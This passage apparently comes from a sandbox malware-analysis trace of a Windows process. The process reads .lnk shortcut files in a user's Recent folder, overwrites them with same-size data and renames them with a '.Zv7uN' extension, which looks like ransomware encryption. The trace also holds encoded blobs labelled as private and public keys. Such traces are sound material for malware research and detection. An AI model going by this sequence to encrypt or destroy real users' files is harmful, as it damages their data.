Videos.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.086] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.086] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.086] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x539 [0082.087] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.087] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x539, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x539, lpOverlapped=0x0) returned 1 [0082.088] CloseHandle (hObject=0x124) returned 1 [0082.088] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.090] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x539, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x539, lpOverlapped=0x0) returned 1 [0082.092] CloseHandle (hObject=0x124) returned 1 [0082.093] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk.zv7un")) returned 1 [0082.095] GetCurrentThreadId () returned 0xa30 [0082.095] GetCurrentThreadId () returned 0xa30 [0082.095] GetCurrentThreadId () returned 0xa30 [0082.095] GetCurrentThreadId () returned 0xa30 [0082.095] GetCurrentThreadId () returned 0xa30 [0082.095] GetCurrentThreadId () returned 0xa30 [0082.095] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2651720, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2651720, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2651720, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x261, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="n2KIK6waBvBzsoa2.lnk", cAlternateFileName="N2KIK6~1.LNK")) returned 1 [0082.095] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.095] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.095] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n2KIK6waBvBzsoa2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n2kik6wabvbzsoa2.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2651720, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2651720, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2651720, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x261)) returned 1 [0082.095] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n2KIK6waBvBzsoa2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n2kik6wabvbzsoa2.lnk")) returned 0x20 [0082.095] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n2KIK6waBvBzsoa2.lnk", dwFileAttributes=0x80) returned 1 [0082.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.099] GetCurrentThreadId () returned 0xa30 [0082.099] GetCurrentThreadId () returned 0xa30 [0082.099] GetCurrentThreadId () returned 0xa30 [0082.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.100] GetCurrentThreadId () returned 0xa30 [0082.100] GetCurrentThreadId () returned 0xa30 [0082.100] GetCurrentThreadId () returned 0xa30 [0082.100] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n2KIK6waBvBzsoa2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n2kik6wabvbzsoa2.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.100] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.101] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.101] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x261 [0082.101] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.101] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x261, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x261, lpOverlapped=0x0) returned 1 [0082.102] CloseHandle (hObject=0x124) returned 1 [0082.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n2KIK6waBvBzsoa2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n2kik6wabvbzsoa2.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.104] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x261, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x261, lpOverlapped=0x0) returned 1 [0082.105] CloseHandle (hObject=0x124) returned 1 [0082.106] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n2KIK6waBvBzsoa2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n2kik6wabvbzsoa2.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n2KIK6waBvBzsoa2.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n2kik6wabvbzsoa2.lnk.zv7un")) returned 1 [0082.107] GetCurrentThreadId () returned 0xa30 [0082.107] GetCurrentThreadId () returned 0xa30 [0082.107] GetCurrentThreadId () returned 0xa30 [0082.107] GetCurrentThreadId () returned 0xa30 [0082.107] GetCurrentThreadId () returned 0xa30 [0082.346] GetCurrentThreadId () returned 0xa30 [0082.346] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e94fa0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1e94fa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1e94fa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9b3, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="n7T_pRq.flv.lnk", cAlternateFileName="N7T_PR~1.LNK")) returned 1 [0082.346] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.346] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.346] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n7T_pRq.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js 